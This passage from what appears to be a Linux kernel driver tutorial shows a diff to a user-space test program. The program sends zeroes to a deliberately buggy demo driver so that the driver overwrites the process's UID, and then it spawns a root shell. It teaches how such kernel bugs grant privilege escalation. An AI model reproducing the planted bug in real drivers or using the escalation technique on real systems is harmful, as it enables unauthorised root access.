We slightly modify the user space application – our process context, in effect. This particular version of the user-mode test app differs from the earlier one in one regard: we now have a macro called HACKIT. If it's defined (it is by default), this process will deliberately write only zeroes into the user space buffer and send that to our bad driver's write method. If the driver has the DANGER_GETROOT_BUG macro defined (it is by default), then it will write the zeroes into the process's UID member, thus making the user-mode process obtain root privileges!
Here's a quick diff of the user space test app from the previous version, allowing you to see the changes made to the code (again, we curtail the output to only what's most relevant):
// in ch1/bad_miscdrv
$ diff -u ../miscdrv/rdwr_test.c rdwr_test_hackit.c
[ ... ]
+#define HACKIT
[ ... ]
+#ifndef HACKIT
+ strncpy(buf, argv[3], num);
+#else
+ printf("%s: attempting to get root ...\n", argv[0]);
+ /*
+ * Write only 0's ... our 'bad' driver will write this into
+ * this process's current->cred->uid member, thus making us
+ * root !
+ */
+ memset(buf, 0, num);
#endif
- } else { // test writing ..
n = write(fd, buf, num);
[ ... ]
+ printf("%s: wrote %zd bytes to %s\n", argv[0], n, argv[2]);
+#ifdef HACKIT
+ if (getuid() == 0) {
+ printf(" !Pwned! uid==%d\n", getuid());
+ /* the hacker's holy grail: spawn a root shell */
+ execl("/bin/sh", "sh", (char *)NULL);
+ }
+#endif
[ ... ]
This does imply that the (so-called) secret never gets written; that's okay. Now, let's look at the modifications made to the driver.